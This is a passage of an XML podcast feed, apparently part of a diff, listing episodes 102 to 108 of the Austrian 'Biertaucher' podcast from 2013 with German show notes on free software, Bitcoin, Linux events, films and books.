+ <pubDate>Wed, 12 Jun 2013 22:40:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher108.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:108&amp;title=Biertaucher%20Folge%20108&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG und Andreas LEHRBAUM plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/8RDzn bzw. http://biertaucher.at . Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1470486/Biertaucher-Podcast-Folge-108
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/8RDzn">hier klicken um die Shownotes zur Folge 108</a> zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b> und <b>Johnny ZWENG</b> plaudern mit <b>Andreas LEHRBAUM</b> über freie Software, Bitcoins und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1470486/Biertaucher-Podcast-Folge-108" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ Shownotes sind in Arbeit
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher108.mp3" length="60316834" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Shownotes sind in Arbeit</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/8RDzn bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1470486/Biertaucher-Podcast-Folge-108
+</itunes:summary>
+<itunes:duration>1:23:46</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 108, Bitcoins, Mining, HumbleBundle
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 107</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:107</link>
+ <pubDate>Thu, 06 Jun 2013 10:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher107.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:107&amp;title=Biertaucher%20Folge%20107&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG und Florian SCHWEIKERT plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/FA6Oo bzw. http://biertaucher.at . Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1435022/Biertaucher-Podcast-Folge-107
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/FA6Oo">hier klicken um die Shownotes zur Folge 107</a> zu sehen</i><br></br>
+ <b>Horst JENS</b> und <b>Gregor PRIDUN</b> plaudern mit <b>Florian SCHWEIKERT</b> und <b>Johnny ZWENG</b> über freie Software und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1435022/Biertaucher-Podcast-Folge-107" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+
+ <li>0:02:52 breaking News: Johnny hat sich verlobt und das neue <a href="https://maps.google.at/">Google Maps</a> angeschaut und ihm kommt alles viel interaktiver vor als früher; fehlende Daten für öffentliche Verkehrsmittel in Wien
+</li><li>0:07:22 Horst verprasst Geld für noch nicht existierendes Computerspiel auf Kickstarter: <a href="http://www.kickstarter.com/projects/doublefine/double-fines-massive-chalice">Double' Fines Massiv Chalice</a>
+</li><li>0:10:53 Tech-Newsmeldung: Apple verlässt Foxconn, <a href="http://futurezone.at/digitallife/16123-mozilla-und-foxconn-schliessen-partnerschaft.php">Mozilla kündigt gemeinsames Projekt mit Foxconn an</a>
+</li><li>0:13:40 Florian taucht auf und bringt das Thema <a href="http://en.wikipedia.org/wiki/Fairphone">Fairphone</a> auf
+</li><li>0:16:31 Johnny ist genervt über eine Änderung im Audio-Framework von <a href="http://www.mozilla.org/en-US/firefox/new/">Mozilla Firefox</a>. Fazit: schlechter als vorher.
+</li><li>0:24:54 <a href="https://aflattr.com/de/">Aflattr</a> Verbindung zwischen Amazon-Affiliate Link und Flattr
+</li><li>0:30:00 Florian über <a href="http://en.wikipedia.org/wiki/Haggis">Haggis</a> in Dosen
+</li><li>0:33:15 Hackernahrung: Zahnpasta mit Mate-Geschmack, <a href="http://www.flora-power.de/">Flora Power</a> Energiedrink
+</li><li>0:34:26 Florian war NICHT in der <a href="http://www.koerperwelten.at/">Körperwelten-Ausstellung</a>, Horst erzählt über einen Besuch vor mehreren Jahren (Günther von Hagens): Medizinpräperate im Wiener <a href="http://de.wikipedia.org/wiki/Narrenturm">Narrenturm</a>, Google's <a href="http://bodybrowser.googlelabs.com/">Body Browser</a>, dazupassender Film: <a href="http://de.wikipedia.org/wiki/Die_Reise_ins_Ich">Reise ins Ich</a>, Zeichentrickserie: <a href="http://de.wikipedia.org/wiki/Es_war_einmal_%E2%80%A6_der_Mensch">Es war einmal der Mensch</a>, <a href="http://de.wikipedia.org/wiki/Es_war_einmal_%E2%80%A6_das_Leben">Es war einmal das Leben</a>
+</li><li>0:45:33 <a href="http://www.sciencefictionimpark.at/">Science Fiction im Park</a> Filmfestival in Wien
+</li><li>0:46:00 Kino: Hangover3 mit <a href="http://de.wikipedia.org/wiki/Zach_Galifianakis">Zach Galifianakis</a>
+</li><li>0:50:37 Johnny's Handy ist kaputt gegangen...einfach so, Schauergeschichten über Handyreperatur
+</li><li>1:02:29 Horst über Steam und Desura unter Ubuntu, allgemeines Genörgel über Apps anstatt Websites
+</li><li>1:09:42 Wo ist der Submit-Link bei Flattr ? ( unten, ganz gut versteckt)
+</li><li>1:13:54 Gregors Filmtipp: Tanz der Teufel, <a href="http://de.wikipedia.org/wiki/Tanz_der_Teufel">The Evil Dead</a>, <a href="http://en.wikipedia.org/wiki/Army_of_Darkness">Army_of_Darkness</a>, <a href="http://en.wikipedia.org/wiki/Prayer_of_the_rollerboys">Prayer of the Rollerboys</a>
+</li><li>1:19:33 Gregors Buchtipp: <a href="http://www.amazon.de/gp/product/3548605710/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=3548605710&linkCode=as2&tag=spielendprogr-21">Die Wand</a> von Marlen Haushofer
+</li><li>1:20:00 Open Data in <a href="http://de.wikipedia.org/wiki/Engerwitzdorf">Engerwitzdorf</a> - Open Freedom Award übergeben.
+</li><li>1:27:00 Inahlt vom neuen <a href="http://www.bitcoinupdate.com/">Bitcoin-Update</a> Podcast
+</li>
+
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher107.mp3" length="63212664" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnny ist verlobt und hat ein kaputtes Handy. Gregor schaut sehr viele sehr schlechte Gruselfilme. Horst vergleicht Steam mit Desura. Florian berichtet über die Open-Data Award Verleihung an Engerwitzdorf</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/FA6Oo bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1435022/Biertaucher-Podcast-Folge-107
+</itunes:summary>
+<itunes:duration>1:27:47</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 107, Hangover3, Steam, Desura, Kickstarter, Massive Chalice, Foxconn, Mozilla, Apple, Fairphone, Firefox, Flattr, Amazon, AFlattr, Haggis, Körperwelten, Narrenturm, Body Browser, Science Fiction im Park, Army of Darkness,
+</itunes:keywords>
+</item>
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 106</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:106</link>
+ <pubDate>Fri, 31 May 2013 12:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher106.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:106&amp;title=Biertaucher%20Folge%20106&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern mit Florian SCHWEIKERT über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/hdb5A bzw. http://biertaucher.at . Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1399471/Biertaucher-Podcast-Folge-106
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/hdb5A">hier klicken um die Shownotes zur Folge 106</a> zu sehen</i><br></br>
+ <b>Horst JENS</b> und <b>Gregor PRIDUN</b> plaudern mit <b>Florian SCHWEIKERT</b> über freie Software und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1399471/Biertaucher-Podcast-Folge-106" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li>0:01:32 Erratum: <a href="http://scratch.mit.edu">Scratch 2.0</a> funktioniert immer noch mit Flash, noch nicht Html5
+</li><li>0:02:52 Gregor hat sich seine Ubuntu <a href="http://en.wikipedia.org/wiki/Unity_(user_interface)">Unity</a>-Oberfläche zerstört durch ATI-Treiber und geht zurück zur <a href="http://en.wikipedia.org/wiki/GNOME_Shell">Gnome Shell</a>
+</li><li>0:07:50 Florian brickt seinen Router und spricht über <a href="http://en.wikipedia.org/wiki/Ddwrt">DDWRT</a> und <a href="http://en.wikipedia.org/wiki/Openwrt">OpenWRT</a>
+</li><li>0:12:55 Futurezone bestätigt Johnnys Warnungen über <a href="http://futurezone.at/digitallife/15997-kontaktlos-unbeabsichtigte-zahlungen-moeglich.php">ungewolltes berührungsloses Zahlen</a>
+</li><li>0:15:24 die neue <a href="http://futurezone.at/produkte/16008-xbox-kinect-totale-kontrolle-ohne-ausweg.php">XBox Kinect</a> Wohnzimmerüberwachung
+</li><li>0:17:52 <a href="http://en.wikipedia.org/wiki/Jolla_(mobile_phone)">Jolla</a> neues Phone von Ex-Nokia Mitarbeitern
+</li><li>0:20:28 <a href="http://en.wikipedia.org/wiki/Firefox_OS">Firefox OS</a>, Theissen ?
+</li><li>0:23:32 Horst und Florian fahren heuer auf die <a href="http://www.froscon.de/startseite/">Froscon-Linux-Konferenz</a> nach Bonn (24-8-2013).
+</li><li>0:27:00 Videos von den Linuxtagen Graz <a href="http://www.youtube.com/user/grazerlinuxtage">sind auf Youtube</a>, Gregor hört den <a href="http://murstrom.at/">Murstrom Podcast</a> aus Graz
+</li><li>0:28:00 (Zeitangabe ungenau) pyladies 20-7-2013: http://www.meetup.com/PyLadies-Vienna/events/108443152/
+</li><li>0:29:00 (Zeitangabe ungenau) Termine: Froscon, Wien: Aktionswoche <a href="http://www.medienbildungjetzt.at/">Medienbildung Jetzt</a>, Linuxwochen Linz, <a href="http://www.meetup.com/PyLadies-Vienna/?gj=ej1b&a=wg2.1_cio">Pyladies Wien Workshop am 20. Juli 2013</a>
+</li><li>0:32:00 anstatt Google Reader: <a href="http://tt-rss.org/redmine/projects/tt-rss/wiki">Tiny Tiny Rss</a>
+</li><li>0:36:10 schöner Leben: Horst spielt <a href="http://en.wikipedia.org/wiki/Wizardry_8">Wizardy 8</a> unter Wine
+</li><li>0:41:55 schöner Leben in Wien: <a href="http://www.sciencefictionimpark.at/">Science Fiction im Park</a>
+</li><li>0:43:14 schöner Leben: Gregor hat sich Star Trek im Kino angeschaut
+</li><li>0:46:12 schöner Lesen: Gregor hat <a href="http://www.amazon.de/gp/product/B00AJCJ5VY/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00AJCJ5VY&linkCode=as2&tag=spielendprogr-21"">Quasikristalle</a> von Eva Menasse gelesen
+</li><li>0:52:32 Ankündigungen für 2 <a href="http://www.bitcoinupdate.com/">Bitcoinupdates</a> von Andreas & Andreas ( direkt aus Amerika )
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher106.mp3" length="38975838" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor hat ein Buch von Eva Menasse gelesen. </itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/hdb5A bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1399471/Biertaucher-Podcast-Folge-106
+</itunes:summary>
+<itunes:duration>0:54:07</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 106, Python, Frauen, Pyladies, Termin, Wien, Eva Menasse, Buch, Quasikristalle</itunes:keywords>
+</item>
+
+
+ <item>
+ <title>Biertaucher Folge 105</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:105</link>
+ <pubDate>Wed, 22 May 2013 10:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher105.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:105&amp;title=Biertaucher%20Folge%20105&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/92zsP bzw. http://biertaucher.at . Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1369256/Biertaucher-Podcast-Folge-105
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/92zsP">hier klicken um die Shownotes zur Folge 105</a> zu sehen</i><br></br>
+ <b>Horst JENS</b> und <b>Gregor PRIDUN</b> plaudern über freie Software und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1369256/Biertaucher-Podcast-Folge-105" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>00:01:21 Erratum Aprilscherz "Insert Moin" Podcast
+</li><li>00:04:00 re:publica Bericht
+</li><li>00:10:00 re:publica Sendezentrum von den Wikigeeks und Tim Pritlove -
+Nachhörtipp <a href="http://die-sondersendung.de/">Die Sondersendung</a>
+</li><li>00:11:01 re:publica <a href="http://www.dctp.tv/filme/rp13-haeusler-gebhard/">Phillip Banse Interviews</a> von der re.Publica für dtcp.tv
+</li><li>00:15:00 re:publica <a href="http://www.youtube.com/watch?v=uPU1y9V3jL4">Guenther Dueck Vortrag</a> "Aufruf zum metakulturellen
+Diskurs"
+</li><li>00:18:00 re:publica <a href="http://www.youtube.com/watch?v=CIBN-e-aja8">Tim Pritlove Vortrag</a> "Radio Universal"
+</li><li>00:20:00 re:publica Neil Harbisson, Moon Ribas: Life with extra Senses
+- <a href="http://www.youtube.com/watch?v=6hUg48vf0QI">How to become a Cyborg</a>
+</li><li>00:25:00 re:publica Vortrag - Lernen in der vernetzten Welt
+</li><li>00:27:50 re:publica Vortrag Markus Beckedahl: <a href=" http://www.youtube.com/watch?v=Rb7c9sxMk2Q">"Unser Blog soll schöner
+werden"</a>
+</li><li>00:28:26 re:publica Panel <a href="http://www.youtube.com/watch?v=n54c2LcIp9Q">"YouTube macht die Stars von heute"</a>
+</li><li>00:34:16 re:publicaFelix Schwenzel: <a href="http://www.youtube.com/watch?v=ZTejUqHLQXE">10 Vorschläge um die Welt zu
+verbessern</a>
+</li><li>00:35:00 re:publica <a href="http://www.youtube.com/watch?v=Raas1BhSIbs">Sascha Lobo: Ãœberraschungsvortrag II</a>
+</li><li>00:39:26 re:publica <a href="http://www.youtube.com/watch?v=doPGYWNT-3s">Kathrin Passig: Mass Customization: Da geht noch
+mehr</a>
+</li><li>00:41:45 Nürnberg Playmobilland
+</li><li>00:45:00 Kino: Horst hat sich <a href=" http://en.wikipedia.org/wiki/Epic_(film)">Epic</a> angeschaut
+</li><li>00:48:50 Kino: Gregor Pridun wurde gezwungen, <a href="http://de.wikipedia.org/wiki/Iron_Man_3">Iron Man 3</a> anzuschauen.
+</li><li>00:51:46 Programmieren lernen: Horst berichtet über die neue (online) Version von <a href="http://scratch.mit.edu/">Scratch</a>
+</li><li>00:58:13 <a href="http://www.youtube.com/watch?v=9pmPa_KxsAM">Google IO Keynote</a>
+</li><li>01:02:00 Buch: Horst hat <a href="http://www.amazon.de/gp/product/B005QEE2DG/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=B005QEE2DG&linkCode=as2&tag=spielendprogr-21">"Emergency: This Book Will Save Your Life"</a> von Neil Strauss gelesen
+</li><li>01:11:00 re:publica <a href="http://www.youtube.com/watch?v=ZG4FawUtYPA">Vortrag von Linus Neumann</a>
+</li>
+
+<li>
+Was sich nicht im Podcast ausgegangen ist in Sachen re:publica
+</li>
+
+<li>Cory Doctorow - <a href="http://www.youtube.com/watch?v=uWqx_1tDyqE">"It's not a fax machine connected to a waffle iron"</a>
+</li><li><a href="http://blog.epubli.de/entdecken/das-wars-die-republica-in-3-ebooks/">Das schnellste Ebook</a> (in drei Teilen) der Welt. Geschrieben während der re.publica über diesselbige
+</li>
+
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher105.mp3" length="53435240" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor berichtet von der re:publica Konferenz in Berlin und war nicht sehr begeistert von der Google IO Keynote. Horst war im Kino (Epic), spielt Scratch und liest "Emergency" von Neil Strauss. Gregor hört Podcast und sah "Iron Man 3"</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/92zsP bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1369256/Biertaucher-Podcast-Folge-105
+</itunes:summary>
+<itunes:duration>1:14:12</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 105, publica, epic, kino, emergency, buch, iron man 3, Vortrag, Konferenz, Berlin, Sractch, Playmobil, Nürnberg, Insert Moin, Youtube, Bericht</itunes:keywords>
+</item>
+
+
+ <item>
+ <title>Biertaucher Folge 104</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:104</link>
+ <pubDate>Thu, 16 May 2013 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher104.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:104&amp;title=Biertaucher%20Folge%20104&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Johnny ZWENG, Florian SCHWEIKERT und Thomas KRONSTEINER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/P7rt1 bzw. http://biertaucher.at . Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1350374/Biertaucher-Podcast-Folge-104
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/P7rt1">hier klicken um die Shownotes zur Folge 104</a> zu sehen</i><br></br>
+ <b>Horst JENS</b> und <b>Johnny ZWENG</b> <b>Florian SCHWEIKERT</b> und <b>Thomas KRONSTEINER</b> plaudern über freie Software und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1350374/Biertaucher-Podcast-Folge-104" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:01:20 Florian über seinen Vortrag bei den Linuxwochen über RasperryPi
+</li><li>0:17:30 Meldung von Sven Guckes: Grüsse an die Crew und die Hörer
+</li><li>0:18:00 <a href="http://de.wikipedia.org/wiki/De-Mail">De-Mail</a>
+</li><li>0:24:00 Bitcoins - Johnny am Bitcoinstreffen
+</li><li>0:30:50 Thomas ist dazugekommen. Es geht über Währungen/Tauschhandel.
+</li><li>0:33:20 Schuldenclearingsystem <a href="http://en.wikipedia.org/wiki/Ripple_monetary_system">Ripple</a>
+</li><li>0:39:20 Amerikanische Politik - <a href="http://www.h-online.com/open/news/item/RedPhone-voice-encryption-system-for-Android-open-sourced-1645233.html">Homomorphe Kryptographie</a> - Red Phone
+</li><li>0:45:40 Deutschland Einschränkung von Software Patenten
+</li><li>0:47:30 Thomas war im Kino: <a href="http://de.wikipedia.org/wiki/Star_Trek_Into_Darkness">"Star Trek - Into Darkness"</a>
+</li><li>0:49:30 Johnny vertreibt eine Taube aus dem Stiegenhaus
+</li><li>0:51:20 Horst schaut Youtube: <a href="http://www.youtube.com/watch?v=9mNdLl8Qx0s">The Mythical Show</a> gesehen.
+</li><li>0:54:00 Opendata - Wiener Linien Petitions Crew möchte gerne ÖBB Daten
+</li><li>0:58:00 Florian - Open Streetmap Gespräche mit Flughafen Wien
+</li><li>1:04:00 Kickstarterprojekte - Jack the Lines - Sons of Noah
+</li><li>1:06:00 <a href="http://de.wikipedia.org/wiki/Ingress_(Computerspiel)">Ingress</a>
+</li><li>1:13:00 Arbeiterkammer
+</li><li>1:17:00 Vorratsdatenspeicherung und Mobilunkbetreiber
+</li><li>1:22:00 Observe Hack and Make
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher104.mp3" length="64105425" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Jonny hat einen Vogel befreit, Sven lässt und grüßen, Florian's RaspberryPi Vortrag, ätzt über De-Mail und war für Openstreetmap am Flughafen, Thomas hat Star-Trek im Kino angeschaut, Horst schaut Youtube, Gregor fehlt immer noch.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/P7rt1 bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1350374/Biertaucher-Podcast-Folge-104
+</itunes:summary>
+<itunes:duration>1:29:01</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 104, Vorratsdatenspeicherung, Kino, Ingress, Kickstarter, Openstreetmap, Jack the Lines, Sons of Noah, Flughafen Wien Schwechat, Openstreetmap, Youtube, The Mythical Show, Startrek, Homomorphe Kryptographie, Ripple, Bitcoin, DeMail
+</itunes:keywords>
+</item>
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 103</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:103</link>
+ <pubDate>Wed, 08 May 2013 10:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher103.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:103&amp;title=Biertaucher%20Folge%20103&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Johnny ZWENG, Sven Guckes, Motz und Gäste plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/dPl3w bzw. http://biertaucher.at . Bitte nach Möglichkeit trotzdem diesen Flattr-Link anlicken: http://flattr.com/thing/1326978/Biertaucher-Podcast-Folge-103
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/dPl3w">hier klicken um die Shownotes zur Folge 103</a> zu sehen</i><br></br>
+ <b>Horst JENS</b> und <b>Johnny ZWENG</b> <b>Sven GUCKES</b>, <b>Motz</b> und Gäste plaudern über freie Software und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1326978/Biertaucher-Podcast-Folge-103" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+</li><li>0:00:57 Felix über <a href="http://en.wikipedia.org/wiki/Homomorphic_encryption">Homomorphe Kryptologie</a>, <a href="https://github.com/shaih/HElib">Helib auf GitHub</a>
+</li><li>0:08:00 <a href="http://guckes.net/">Sven Guckes</a> über Linuxkongresse im allgemeinen und Graz, Eisenstadt und Wien im Besonderen, Michael über Svens Vortrag
+</li><li>0:13:00 Sven über Kolloboration im Internet, <a href="https://drive.google.com/keep/">Google Keep</a>,
+</li><li>0:15:00 <a href="http://www.datenspuren.de/">Datenspuren</a>-Kongress in Dresden
+</li><li>0:17:17 Johnny hat einen Bitcoin-Miner gebaut
+</li><li>0:26:40 Sven über nur-Tastatur-Rechner, <a href="http://de.wikipedia.org/wiki/Field_Programmable_Gate_Array">FPGA</a>, interne Bitcoin-Netzwerke
+</li><li>0:29:00 Johnny über <a href="http://litecoin.org/">LiteCoin</a>
+</li><li>0:31;00 Sven und Motz über "trojanische Tastaturen"
+</li><li>0:32:43 Michael über Compiz für Sehbehinderte, blinde Computer-user, <a href="http://de.wikipedia.org/wiki/Braillezeile">Braille-Zeilen</a>, Text-to-Speech,
+</li><li>0:36:44 wir nörgeln über <a href="http://de.wikipedia.org/wiki/Adobe_Flash">Flash</a>
+</li><li>0:39:37 Motz spricht über <a href="https://crawl.develz.org/wordpress/">Crawl</a>, sein derzeitiges Lieblings-Rogue-Like, welches er im Textmodus spielt und welches er nicht beenden will obwohl er schon "gewonnen" hat
+</li><li>0:42:00 Horst hat sich <a href="http://en.wikipedia.org/wiki/Scary_Movie_5">Scary Movie V</a> angeschaut (Spoiler)
+</li><li>0:44:08 Sven's Nachtrag zu den Linuxwochen Linz
+</li><li>0:45:46 Horst freute sich über den Education-Track auf den Linuxwochen Wien
+</li><li>0:47:24 <a href="http://www.vlizedlab.at/">VlizedLab Project</a> Projekt
+</li><li>1:06:50 Veranstaltungshinweis: <a href="https://ohm2013.org/site/">Hackcamp in Holland: OHM 2013</a>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher103.mp3" length="50427671" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Felix spricht über homomorphe Verschlüsselung, Sven berichtet von Linuxtagen, Michael erzählt von schnellen Braille-Zeilen, Motz spielt immer noch Crawl im Textmodus, Horst war im Kino und Johnny baut sich einen Bitcoin-Miner.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/dPl3w bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1326978/Biertaucher-Podcast-Folge-103
+</itunes:summary>
+<itunes:duration>1:10:02</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 103, Homomorphe Kryptologie, LinuxTage, Sven Guckes, Google Keep, Bitcoin, Mining, nur Tastatur Rechner, gpga, LiteCoin, Tastatur, blind, Compiz, Braille-Zeilen, Flash, Crawl, Kino, Scary Movie V, VlizedLab, OHM
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 102</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:102</link>
+ <pubDate>Fri, 03 May 2013 10:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher102.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:102&amp;title=Biertaucher%20Folge%20102&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, plaudert mit Florian Schweikert und Motz und später mit Horst JENS über freie Software und andere Nerd-Themen. Diesmal ausnahmsweise keine detaillierten Shownotes auf http://biertaucher.at . Bitte nach Möglichkeit trotzdem diesen Flattr-Link anlicken: http://flattr.com/thing/1311949/Biertaucher-Podcast-Folge-102
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/YKBsu">hier klicken um die Shownotes zur Folge 103</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b> und <b>Florian Schweikert</b> und <b>Motz</b> und <b>Horst JENS</b> plaudern über freie Software und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1311949/Biertaucher-Podcast-Folge-102" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li>Linuxtage Graz</li>
+ <li>diesmal leider keine genaueren Shownotes. Einfach reinhören !</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher102.mp3" length="56010705" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Bericht von Linuxtagen Graz uvm</itunes:subtitle>
